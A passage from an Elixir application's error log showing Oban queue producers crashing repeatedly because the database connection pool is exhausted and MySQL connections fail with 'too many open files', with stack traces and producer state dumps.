nil, updated_at: ~U[2026-09-06 00:35:36.241226Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203997>, refresh_timer: #Reference<0.2525715032.1068498948.66256>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:35:36.240110Z], limit: 5, uuid: "a165c1e7-f642-42cb-a741-4dc6dd41fe06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:36.240116Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203994>, refresh_timer: #Reference<0.2525715032.1121189889.203954>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:35:36.240464Z], limit: 20, uuid: "aabe5875-c18a-42fe-8eff-b6f761674777", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:36.240470Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203992>, refresh_timer: #Reference<0.2525715032.1121189889.203962>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:35:36.241014Z], limit: 5, uuid: "6cb7495e-84b0-4e2a-a4d6-b6fc4619cfb2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:36.241019Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.203996>, refresh_timer: #Reference<0.2525715032.1068498948.66245>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:51.081000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:51.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:51.448000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:51.821000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:52.500000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:57.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:59.035000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:35:48.239863Z], limit: 50, uuid: "f9e856b3-30db-42cd-bda4-d59bd6958dde", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:48.239873Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204413>, refresh_timer: #Reference<0.2525715032.1068498948.66417>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:35:48.239863Z], limit: 20, uuid: "92a4c683-3c20-44fb-90de-645f4a893c81", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:48.239870Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.66441>, refresh_timer: #Reference<0.2525715032.1068498948.66418>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:35:48.240353Z], limit: 5, uuid: "47411a23-a667-4089-8310-3092bdff301f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:48.240358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204411>, refresh_timer: #Reference<0.2525715032.1099431938.64188>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:35:48.240084Z], limit: 10, uuid: "07aeb24d-e670-4639-a116-d2d8744d4835", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:48.240089Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64196>, refresh_timer: #Reference<0.2525715032.1099431938.64179>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:35:48.240773Z], limit: 3, uuid: "4842b18b-0e54-4dfb-92ff-b9f168a30532", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:48.240778Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.204410>, refresh_timer: #Reference<0.2525715032.1121189889.204402>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
